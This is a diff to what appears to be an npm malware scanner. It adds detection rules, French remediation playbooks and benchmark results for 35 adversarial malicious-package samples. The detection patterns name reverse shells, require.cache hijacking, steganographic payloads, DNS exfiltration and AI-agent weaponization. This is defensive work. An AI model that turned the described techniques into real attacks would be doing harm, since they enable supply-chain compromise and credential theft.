|
469
|
+
{
|
|
470
|
+
"name": "express-session",
|
|
471
|
+
"score": 0,
|
|
472
|
+
"flagged": false
|
|
473
|
+
},
|
|
474
|
+
{
|
|
475
|
+
"name": "connect-redis",
|
|
476
|
+
"score": 0,
|
|
477
|
+
"flagged": false
|
|
478
|
+
},
|
|
479
|
+
{
|
|
480
|
+
"name": "ioredis",
|
|
481
|
+
"score": 10,
|
|
482
|
+
"flagged": false
|
|
483
|
+
},
|
|
484
|
+
{
|
|
485
|
+
"name": "bull",
|
|
486
|
+
"score": 0,
|
|
487
|
+
"flagged": false
|
|
488
|
+
},
|
|
489
|
+
{
|
|
490
|
+
"name": "agenda",
|
|
491
|
+
"score": 0,
|
|
492
|
+
"flagged": false
|
|
493
|
+
},
|
|
494
|
+
{
|
|
495
|
+
"name": "node-cron",
|
|
496
|
+
"score": 0,
|
|
497
|
+
"flagged": false
|
|
498
|
+
},
|
|
499
|
+
{
|
|
500
|
+
"name": "date-fns",
|
|
501
|
+
"score": 0,
|
|
502
|
+
"flagged": false
|
|
503
|
+
},
|
|
504
|
+
{
|
|
505
|
+
"name": "luxon",
|
|
506
|
+
"score": 0,
|
|
507
|
+
"flagged": false
|
|
508
|
+
},
|
|
509
|
+
{
|
|
510
|
+
"name": "numeral",
|
|
511
|
+
"score": 0,
|
|
512
|
+
"flagged": false
|
|
513
|
+
},
|
|
514
|
+
{
|
|
515
|
+
"name": "decimal.js",
|
|
516
|
+
"score": 0,
|
|
517
|
+
"flagged": false
|
|
518
|
+
},
|
|
519
|
+
{
|
|
520
|
+
"name": "bignumber.js",
|
|
521
|
+
"score": 0,
|
|
522
|
+
"flagged": false
|
|
523
|
+
},
|
|
524
|
+
{
|
|
525
|
+
"name": "mathjs",
|
|
526
|
+
"score": 0,
|
|
527
|
+
"flagged": false
|
|
528
|
+
},
|
|
529
|
+
{
|
|
530
|
+
"name": "lodash-es",
|
|
531
|
+
"score": 0,
|
|
532
|
+
"flagged": false
|
|
533
|
+
}
|
|
534
|
+
]
|
|
535
|
+
},
|
|
536
|
+
"adversarial": {
|
|
537
|
+
"detected": 35,
|
|
538
|
+
"total": 35,
|
|
539
|
+
"adr": 1,
|
|
540
|
+
"details": [
|
|
541
|
+
{
|
|
542
|
+
"name": "ci-trigger-exfil",
|
|
543
|
+
"score": 38,
|
|
544
|
+
"threshold": 35,
|
|
545
|
+
"detected": true
|
|
546
|
+
},
|
|
547
|
+
{
|
|
548
|
+
"name": "delayed-exfil",
|
|
549
|
+
"score": 35,
|
|
550
|
+
"threshold": 30,
|
|
551
|
+
"detected": true
|
|
552
|
+
},
|
|
553
|
+
{
|
|
554
|
+
"name": "docker-aware",
|
|
555
|
+
"score": 35,
|
|
556
|
+
"threshold": 35,
|
|
557
|
+
"detected": true
|
|
558
|
+
},
|
|
559
|
+
{
|
|
560
|
+
"name": "staged-fetch",
|
|
561
|
+
"score": 35,
|
|
562
|
+
"threshold": 35,
|
|
563
|
+
"detected": true
|
|
564
|
+
},
|
|
565
|
+
{
|
|
566
|
+
"name": "dns-chunk-exfil",
|
|
567
|
+
"score": 35,
|
|
568
|
+
"threshold": 35,
|
|
569
|
+
"detected": true
|
|
570
|
+
},
|
|
571
|
+
{
|
|
572
|
+
"name": "string-concat-obfuscation",
|
|
573
|
+
"score": 35,
|
|
574
|
+
"threshold": 30,
|
|
575
|
+
"detected": true
|
|
576
|
+
},
|
|
577
|
+
{
|
|
578
|
+
"name": "postinstall-download",
|
|
579
|
+
"score": 33,
|
|
580
|
+
"threshold": 30,
|
|
581
|
+
"detected": true
|
|
582
|
+
},
|
|
583
|
+
{
|
|
584
|
+
"name": "dynamic-require",
|
|
585
|
+
"score": 78,
|
|
586
|
+
"threshold": 40,
|
|
587
|
+
"detected": true
|
|
588
|
+
},
|
|
589
|
+
{
|
|
590
|
+
"name": "iife-exfil",
|
|
591
|
+
"score": 58,
|
|
592
|
+
"threshold": 40,
|
|
593
|
+
"detected": true
|
|
594
|
+
},
|
|
595
|
+
{
|
|
596
|
+
"name": "conditional-chain",
|
|
597
|
+
"score": 38,
|
|
598
|
+
"threshold": 30,
|
|
599
|
+
"detected": true
|
|
600
|
+
},
|
|
601
|
+
{
|
|
602
|
+
"name": "template-literal-obfuscation",
|
|
603
|
+
"score": 63,
|
|
604
|
+
"threshold": 30,
|
|
605
|
+
"detected": true
|
|
606
|
+
},
|
|
607
|
+
{
|
|
608
|
+
"name": "proxy-env-intercept",
|
|
609
|
+
"score": 53,
|
|
610
|
+
"threshold": 40,
|
|
611
|
+
"detected": true
|
|
612
|
+
},
|
|
613
|
+
{
|
|
614
|
+
"name": "nested-payload",
|
|
615
|
+
"score": 38,
|
|
616
|
+
"threshold": 30,
|
|
617
|
+
"detected": true
|
|
618
|
+
},
|
|
619
|
+
{
|
|
620
|
+
"name": "dynamic-import",
|
|
621
|
+
"score": 58,
|
|
622
|
+
"threshold": 30,
|
|
623
|
+
"detected": true
|
|
624
|
+
},
|
|
625
|
+
{
|
|
626
|
+
"name": "websocket-exfil",
|
|
627
|
+
"score": 38,
|
|
628
|
+
"threshold": 30,
|
|
629
|
+
"detected": true
|
|
630
|
+
},
|
|
631
|
+
{
|
|
632
|
+
"name": "bun-runtime-evasion",
|
|
633
|
+
"score": 48,
|
|
634
|
+
"threshold": 30,
|
|
635
|
+
"detected": true
|
|
636
|
+
},
|
|
637
|
+
{
|
|
638
|
+
"name": "preinstall-exec",
|
|
639
|
+
"score": 38,
|
|
640
|
+
"threshold": 35,
|
|
641
|
+
"detected": true
|
|
642
|
+
},
|
|
643
|
+
{
|
|
644
|
+
"name": "remote-dynamic-dependency",
|
|
645
|
+
"score": 35,
|
|
646
|
+
"threshold": 35,
|
|
647
|
+
"detected": true
|
|
648
|
+
},
|
|
649
|
+
{
|
|
650
|
+
"name": "github-exfil",
|
|
651
|
+
"score": 68,
|
|
652
|
+
"threshold": 30,
|
|
653
|
+
"detected": true
|
|
654
|
+
},
|
|
655
|
+
{
|
|
656
|
+
"name": "detached-background",
|
|
657
|
+
"score": 48,
|
|
658
|
+
"threshold": 35,
|
|
659
|
+
"detected": true
|
|
660
|
+
},
|
|
661
|
+
{
|
|
662
|
+
"name": "ai-agent-weaponization",
|
|
663
|
+
"score": 100,
|
|
664
|
+
"threshold": 35,
|
|
665
|
+
"detected": true
|
|
666
|
+
},
|
|
667
|
+
{
|
|
668
|
+
"name": "ai-config-injection",
|
|
669
|
+
"score": 100,
|
|
670
|
+
"threshold": 30,
|
|
671
|
+
"detected": true
|
|
672
|
+
},
|
|
673
|
+
{
|
|
674
|
+
"name": "rdd-zero-deps",
|
|
675
|
+
"score": 41,
|
|
676
|
+
"threshold": 35,
|
|
677
|
+
"detected": true
|
|
678
|
+
},
|
|
679
|
+
{
|
|
680
|
+
"name": "discord-webhook-exfil",
|
|
681
|
+
"score": 44,
|
|
682
|
+
"threshold": 30,
|
|
683
|
+
"detected": true
|
|
684
|
+
},
|
|
685
|
+
{
|
|
686
|
+
"name": "preinstall-background-fork",
|
|
687
|
+
"score": 58,
|
|
688
|
+
"threshold": 35,
|
|
689
|
+
"detected": true
|
|
690
|
+
},
|
|
691
|
+
{
|
|
692
|
+
"name": "silent-error-swallow",
|
|
693
|
+
"score": 35,
|
|
694
|
+
"threshold": 25,
|
|
695
|
+
"detected": true
|
|
696
|
+
},
|
|
697
|
+
{
|
|
698
|
+
"name": "double-base64-exfil",
|
|
699
|
+
"score": 38,
|
|
700
|
+
"threshold": 30,
|
|
701
|
+
"detected": true
|
|
702
|
+
},
|
|
703
|
+
{
|
|
704
|
+
"name": "crypto-wallet-harvest",
|
|
705
|
+
"score": 25,
|
|
706
|
+
"threshold": 25,
|
|
707
|
+
"detected": true
|
|
708
|
+
},
|
|
709
|
+
{
|
|
710
|
+
"name": "self-hosted-runner-backdoor",
|
|
711
|
+
"score": 53,
|
|
712
|
+
"threshold": 20,
|
|
713
|
+
"detected": true
|
|
714
|
+
},
|
|
715
|
+
{
|
|
716
|
+
"name": "dead-mans-switch",
|
|
717
|
+
"score": 68,
|
|
718
|
+
"threshold": 30,
|
|
719
|
+
"detected": true
|
|
720
|
+
},
|
|
721
|
+
{
|
|
722
|
+
"name": "fake-captcha-fingerprint",
|
|
723
|
+
"score": 28,
|
|
724
|
+
"threshold": 20,
|
|
725
|
+
"detected": true
|
|
726
|
+
},
|
|
727
|
+
{
|
|
728
|
+
"name": "pyinstaller-dropper",
|
|
729
|
+
"score": 53,
|
|
730
|
+
"threshold": 35,
|
|
731
|
+
"detected": true
|
|
732
|
+
},
|
|
733
|
+
{
|
|
734
|
+
"name": "gh-cli-token-steal",
|
|
735
|
+
"score": 50,
|
|
736
|
+
"threshold": 30,
|
|
737
|
+
"detected": true
|
|
738
|
+
},
|
|
739
|
+
{
|
|
740
|
+
"name": "triple-base64-github-push",
|
|
741
|
+
"score": 38,
|
|
742
|
+
"threshold": 30,
|
|
743
|
+
"detected": true
|
|
744
|
+
},
|
|
745
|
+
{
|
|
746
|
+
"name": "browser-api-hook",
|
|
747
|
+
"score": 20,
|
|
748
|
+
"threshold": 20,
|
|
749
|
+
"detected": true
|
|
750
|
+
}
|
|
751
|
+
]
|
|
752
|
+
}
|
|
753
|
+
}
|
package/package.json
CHANGED
|
@@ -308,6 +308,16 @@ const PLAYBOOKS = {
|
|
|
308
308
|
'CRITIQUE: Ecriture detectee dans un cache sensible (npm _cacache, yarn, pip). ' +
|
|
309
309
|
'Possible cache poisoning: injection de code malveillant dans des packages caches. ' +
|
|
310
310
|
'Nettoyer le cache: npm cache clean --force. Reinstaller les dependances depuis zero.',
|
|
311
|
+
|
|
312
|
+
require_cache_poison:
|
|
313
|
+
'CRITIQUE: require.cache modifie pour hijacker des modules Node.js. ' +
|
|
314
|
+
'Le code remplace les exports de modules charges (https, http, fs) pour intercepter toutes les requetes. ' +
|
|
315
|
+
'Supprimer le package. Redemarrer le processus Node.js. Auditer le trafic reseau recent.',
|
|
316
|
+
|
|
317
|
+
staged_binary_payload:
|
|
318
|
+
'Fichier binaire (.png/.jpg/.wasm) reference avec eval() dans le meme fichier. ' +
|
|
319
|
+
'Technique de steganographie: le payload malveillant est cache dans les pixels d\'une image ou les sections d\'un WASM. ' +
|
|
320
|
+
'Analyser le fichier binaire dans un sandbox. Verifier les donnees extraites avant execution.',
|
|
311
321
|
};
|
|
312
322
|
|
|
313
323
|
function getPlaybook(threatType) {
|
package/src/rules/index.js
CHANGED
|
@@ -562,6 +562,29 @@ const RULES = {
|
|
|
562
562
|
mitre: 'T1059'
|
|
563
563
|
},
|
|
564
564
|
|
|
565
|
+
require_cache_poison: {
|
|
566
|
+
id: 'MUADDIB-AST-019',
|
|
567
|
+
name: 'Require Cache Poisoning',
|
|
568
|
+
severity: 'CRITICAL',
|
|
569
|
+
confidence: 'high',
|
|
570
|
+
description: 'Acces a require.cache pour remplacer ou hijacker des modules Node.js charges. Technique de cache poisoning pour intercepter du trafic ou injecter du code.',
|
|
571
|
+
references: [
|
|
572
|
+
'https://attack.mitre.org/techniques/T1574/006/'
|
|
573
|
+
],
|
|
574
|
+
mitre: 'T1574.006'
|
|
575
|
+
},
|
|
576
|
+
staged_binary_payload: {
|
|
577
|
+
id: 'MUADDIB-AST-020',
|
|
578
|
+
name: 'Staged Binary Payload Execution',
|
|
579
|
+
severity: 'HIGH',
|
|
580
|
+
confidence: 'high',
|
|
581
|
+
description: 'Reference a un fichier binaire (.png/.jpg/.wasm) combinee avec eval() dans le meme fichier. Possible execution de payload steganographique cache dans une image.',
|
|
582
|
+
references: [
|
|
583
|
+
'https://attack.mitre.org/techniques/T1027/003/'
|
|
584
|
+
],
|
|
585
|
+
mitre: 'T1027.003'
|
|
586
|
+
},
|
|
587
|
+
|
|
565
588
|
env_charcode_reconstruction: {
|
|
566
589
|
id: 'MUADDIB-AST-018',
|
|
567
590
|
name: 'Environment Variable Key Reconstruction',
|
package/src/scanner/ast.js
CHANGED
|
@@ -222,6 +222,16 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
222
222
|
// Pre-scan for fromCharCode pattern (env var name obfuscation)
|
|
223
223
|
const hasFromCharCode = content.includes('fromCharCode');
|
|
224
224
|
|
|
225
|
+
// Pre-scan for JS reverse shell pattern: net.Socket + connect + pipe + shell process
|
|
226
|
+
const hasJsReverseShell = /\bnet\.Socket\b/.test(content) &&
|
|
227
|
+
/\.connect\s*\(/.test(content) &&
|
|
228
|
+
/\.pipe\b/.test(content) &&
|
|
229
|
+
(/\bspawn\b/.test(content) || /\bstdin\b/.test(content) || /\bstdout\b/.test(content));
|
|
230
|
+
|
|
231
|
+
// Pre-scan for binary file reference (steganography payload detection)
|
|
232
|
+
const hasBinaryFileLiteral = /\.(png|jpg|jpeg|gif|bmp|ico|wasm)\b/i.test(content);
|
|
233
|
+
let hasEvalInFile = false;
|
|
234
|
+
|
|
225
235
|
walk.simple(ast, {
|
|
226
236
|
VariableDeclarator(node) {
|
|
227
237
|
if (node.id?.type === 'Identifier') {
|
|
@@ -399,6 +409,35 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
399
409
|
}
|
|
400
410
|
}
|
|
401
411
|
|
|
412
|
+
// Detect spawn/execFile of shell processes — suspicious shell spawn
|
|
413
|
+
if ((callName === 'spawn' || callName === 'execFile') && node.arguments.length >= 1) {
|
|
414
|
+
const shellArg = node.arguments[0];
|
|
415
|
+
if (shellArg.type === 'Literal' && typeof shellArg.value === 'string') {
|
|
416
|
+
const shellBin = shellArg.value.toLowerCase();
|
|
417
|
+
if (['/bin/sh', '/bin/bash', 'sh', 'bash', 'cmd.exe', 'powershell', 'pwsh', 'cmd'].includes(shellBin)) {
|
|
418
|
+
threats.push({
|
|
419
|
+
type: 'dangerous_call_exec',
|
|
420
|
+
severity: 'MEDIUM',
|
|
421
|
+
message: `${callName}('${shellArg.value}') — direct shell process spawn detected.`,
|
|
422
|
+
file: path.relative(basePath, filePath)
|
|
423
|
+
});
|
|
424
|
+
}
|
|
425
|
+
}
|
|
426
|
+
// Also check when shell is computed via os.platform() ternary
|
|
427
|
+
if (shellArg.type === 'ConditionalExpression') {
|
|
428
|
+
const checkLiteral = (n) => n.type === 'Literal' && typeof n.value === 'string' &&
|
|
429
|
+
['/bin/sh', '/bin/bash', 'sh', 'bash', 'cmd.exe', 'powershell', 'pwsh', 'cmd'].includes(n.value.toLowerCase());
|
|
430
|
+
if (checkLiteral(shellArg.consequent) || checkLiteral(shellArg.alternate)) {
|
|
431
|
+
threats.push({
|
|
432
|
+
type: 'dangerous_call_exec',
|
|
433
|
+
severity: 'MEDIUM',
|
|
434
|
+
message: `${callName}() with conditional shell binary (platform-aware) — direct shell process spawn detected.`,
|
|
435
|
+
file: path.relative(basePath, filePath)
|
|
436
|
+
});
|
|
437
|
+
}
|
|
438
|
+
}
|
|
439
|
+
}
|
|
440
|
+
|
|
402
441
|
// Detect spawn/fork with {detached: true} — background process evasion
|
|
403
442
|
if ((callName === 'spawn' || callName === 'fork') && node.arguments.length >= 2) {
|
|
404
443
|
const lastArg = node.arguments[node.arguments.length - 1];
|
|
@@ -568,6 +607,7 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
568
607
|
}
|
|
569
608
|
|
|
570
609
|
if (callName === 'eval') {
|
|
610
|
+
hasEvalInFile = true;
|
|
571
611
|
const isConstant = hasOnlyStringLiteralArgs(node);
|
|
572
612
|
threats.push({
|
|
573
613
|
type: 'dangerous_call_eval',
|
|
@@ -750,6 +790,17 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
750
790
|
},
|
|
751
791
|
|
|
752
792
|
MemberExpression(node) {
|
|
793
|
+
// Detect require.cache access — module cache poisoning
|
|
794
|
+
if (node.object?.type === 'Identifier' && node.object.name === 'require' &&
|
|
795
|
+
node.property?.type === 'Identifier' && node.property.name === 'cache') {
|
|
796
|
+
threats.push({
|
|
797
|
+
type: 'require_cache_poison',
|
|
798
|
+
severity: 'CRITICAL',
|
|
799
|
+
message: 'require.cache accessed — module cache poisoning to hijack or replace core Node.js modules.',
|
|
800
|
+
file: path.relative(basePath, filePath)
|
|
801
|
+
});
|
|
802
|
+
}
|
|
803
|
+
|
|
753
804
|
if (
|
|
754
805
|
node.object?.object?.name === 'process' &&
|
|
755
806
|
node.object?.property?.name === 'env'
|
|
@@ -794,6 +845,26 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
794
845
|
}
|
|
795
846
|
});
|
|
796
847
|
|
|
848
|
+
// Post-walk: JS reverse shell pattern (net.Socket + connect + pipe + shell)
|
|
849
|
+
if (hasJsReverseShell) {
|
|
850
|
+
threats.push({
|
|
851
|
+
type: 'reverse_shell',
|
|
852
|
+
severity: 'CRITICAL',
|
|
853
|
+
message: 'JavaScript reverse shell: net.Socket + connect() + pipe to shell process stdin/stdout.',
|
|
854
|
+
file: path.relative(basePath, filePath)
|
|
855
|
+
});
|
|
856
|
+
}
|
|
857
|
+
|
|
858
|
+
// Post-walk: steganographic/binary payload execution
|
|
859
|
+
if (hasBinaryFileLiteral && hasEvalInFile) {
|
|
860
|
+
threats.push({
|
|
861
|
+
type: 'staged_binary_payload',
|
|
862
|
+
severity: 'HIGH',
|
|
863
|
+
message: 'Binary file reference (.png/.jpg/.wasm/etc.) + eval() in same file — possible steganographic payload execution.',
|
|
864
|
+
file: path.relative(basePath, filePath)
|
|
865
|
+
});
|
|
866
|
+
}
|
|
867
|
+
|
|
797
868
|
return threats;
|
|
798
869
|
}
|
|
799
870
|
|
package/src/scanner/dataflow.js
CHANGED
|
@@ -60,6 +60,9 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
60
60
|
const sources = [];
|
|
61
61
|
const sinks = [];
|
|
62
62
|
|
|
63
|
+
// Pre-scan: detect raw socket module import (net/tls) for instance .connect() detection
|
|
64
|
+
const hasRawSocketModule = /require\s*\(\s*['"](?:net|tls)['"]\s*\)/.test(content);
|
|
65
|
+
|
|
63
66
|
// Track variables assigned from sensitive path expressions
|
|
64
67
|
const sensitivePathVars = new Set();
|
|
65
68
|
|
|
@@ -155,7 +158,7 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
155
158
|
const prop = node.callee.property;
|
|
156
159
|
if (obj.type === 'Identifier' && prop.type === 'Identifier') {
|
|
157
160
|
// DNS resolution as exfiltration sink
|
|
158
|
-
if (obj.name === 'dns' && ['resolve', 'lookup', 'resolve4', 'resolve6'].includes(prop.name)) {
|
|
161
|
+
if (obj.name === 'dns' && ['resolve', 'lookup', 'resolve4', 'resolve6', 'resolveTxt'].includes(prop.name)) {
|
|
159
162
|
sinks.push({ type: 'network_send', name: `dns.${prop.name}`, line: node.loc?.start?.line });
|
|
160
163
|
}
|
|
161
164
|
// HTTP/HTTPS request/get as network sink
|
|
@@ -166,6 +169,10 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
166
169
|
if ((obj.name === 'net' || obj.name === 'tls') && ['connect', 'createConnection'].includes(prop.name)) {
|
|
167
170
|
sinks.push({ type: 'network_send', name: `${obj.name}.${prop.name}`, line: node.loc?.start?.line });
|
|
168
171
|
}
|
|
172
|
+
// Instance socket.connect(port, host) when file imports net/tls
|
|
173
|
+
if (hasRawSocketModule && prop.name === 'connect' && node.arguments.length >= 2) {
|
|
174
|
+
sinks.push({ type: 'network_send', name: 'socket.connect', line: node.loc?.start?.line });
|
|
175
|
+
}
|
|
169
176
|
}
|
|
170
177
|
}
|
|
171
178
|
|